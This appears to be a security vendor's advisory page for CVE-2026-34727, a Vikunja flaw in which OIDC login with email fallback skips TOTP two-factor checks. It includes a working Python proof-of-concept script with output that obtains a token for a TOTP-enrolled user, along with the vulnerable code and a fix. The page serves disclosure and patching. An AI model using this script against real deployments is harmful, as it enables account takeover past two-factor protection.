Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-34727 — vikunja

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-287 NVD
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Vikunja has TOTP Two-Factor Authentication Bypass via OIDC Login Path

Summary

The OIDC callback handler issues a full JWT token without checking whether the matched user has TOTP two-factor authentication enabled. When a local user with TOTP enrolled is matched via the OIDC email fallback mechanism, the second factor is completely skipped.

Details

The OIDC callback at pkg/modules/auth/openid/openid.go:185 issues a JWT directly after user lookup:

```go

return auth.NewUserAuthTokenResponse(u, c, false)

```

There are zero references to TOTP in the entire pkg/modules/auth/openid/ directory. By contrast, the local login handler at pkg/routes/api/v1/login.go:79-102 correctly implements TOTP verification:

```go

totpEnabled, err := user2.TOTPEnabledForUser(s, user)

if totpEnabled {

if u.TOTPPasscode == "" {

_ = s.Rollback()

return user2.ErrInvalidTOTPPasscode{}

}

_, err = user2.ValidateTOTPPasscode(s, &user2.TOTPPasscode{

User: user,

Passcode: u.TOTPPasscode,

})

```

When OIDC EmailFallback maps to a local user who has TOTP enabled, the TOTP enrollment is ignored and a full JWT is issued without any second-factor challenge.

Proof of Concept

Tested on Vikunja v2.2.2 with Dex as the OIDC provider.

Setup:

  • Vikunja configured with emailfallback: true for Dex
  • Local user alice (id=1) has TOTP enabled

```python

import requests, re, html

from urllib.parse import parse_qs, urlparse

TARGET = "http://localhost:3456"

DEX = "http://localhost:5556"

API = f"{TARGET}/api/v1"

# verify TOTP is required for local login

r = requests.post(f"{API}/login",

json={"username": "alice", "password": "Alice1234!"})

print(f"Local login without TOTP: {r.status_code} code={r.json().get('code')}")

# Output: 412 code=1017 (TOTP required)

# login via OIDC (same flow as VIK-020 PoC)

s = requests.Session()

r = s.get(f"{DEX}/dex/auth?client_id=vikunja"

f"&redirect_uri={TARGET}/auth/openid/dex"

f"&response_type=code&scope=openid+profile+email&state=x")

action = html.unescape(re.search(r'action="([^"]*)"', r.text).group(1))

if not action.startswith("http"): action = DEX + action

r = s.post(action, data={"login": "[email protected]", "password": "password"},

allow_redirects=False)

approval_url = DEX + r.headers["Location"]

r = s.get(approval_url)

req = re.search(r'name="req" value="([^"]*)"', r.text).group(1)

r = s.post(approval_url, data={"req": req, "approval": "approve"},

allow_redirects=False)

code = parse_qs(urlparse(r.headers["Location"]).query)["code"][0]

resp = requests.post(f"{API}/auth/openid/dex/callback",

json={"code": code, "redirect_url": f"{TARGET}/auth/openid/dex"})

print(f"OIDC login: {resp.status_code}")

user = requests.get(f"{API}/user",

headers={"Authorization": f"Bearer {resp.json()['token']}"}).json()

print(f"User: id={user['id']} username={user['username']}")

# TOTP was completely bypassed

```

Output:

```

Local login without TOTP: 412 code=1017

OIDC login: 200

User: id=1 username=alice

```

Local login correctly requires TOTP (412), but the OIDC path issued a JWT for alice without any TOTP challenge.

Impact

When an administrator enables OIDC with EmailFallback, any user who has enrolled TOTP two-factor authentication on their local account can have that protection completely bypassed. An attacker who can authenticate to the OIDC provider with a matching email address gains full access without any second-factor challenge. This undermines the security guarantee of TOTP enrollment.

This vulnerability is a prerequisite chain with the OIDC email fallback account takeover (missing email_verified check). Together, they allow an attacker to bypass both the password and the TOTP second factor.

Recommended Fix

Add a TOTP check in the OIDC callback before issuing the JWT:

```go

totpEnabled, err := user.TOTPEnabledForUser(s, u)

if err != nil {

_ = s.Rollback()

return err

}

if totpEnabled {

_ = s.Rollback()

return echo.NewHTTPError(http.StatusForbidden,

"TOTP verification required. Please use the local login endpoint.")

}

return auth.NewUserAuthTokenResponse(u, c, false)

```

*Found and reported by [aisafe.io](https://aisafe.io)*

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is high, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: High — the attacker first has to win a race, learn a secret or otherwise prepare the target.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: None.

Weakness class

CVE-2026-34727 is classified as CWE-287: Improper Authentication. The identity of the caller is not established correctly, so an attacker can act as another user.

Affected software

CVE-2026-34727 is recorded against 2 packages.

  • code.vikunja.io/api
  • vikunja (fixed in 2.3.0)

Timeline and source

Published on 10 April 2026 and last revised on 21 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Web)
github.com (Package)
github.com (Web)

Other advisories for this package

code.vikunja.io/api has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-287: Improper Authentication) in other software:

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
CWE CWE-287
Public Exploit ✅ No
Source NVD
Published 2026-04-10
Updated 2026-08-20
Modified 2026-07-21
Fix URL N/A

Affected Packages

Software From version Fixed in
code.vikunja.io/api
vikunja 2.3.0

Similar Threats

Site Security Check

Is vikunja part of your stack?

CVE-2026-34727 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026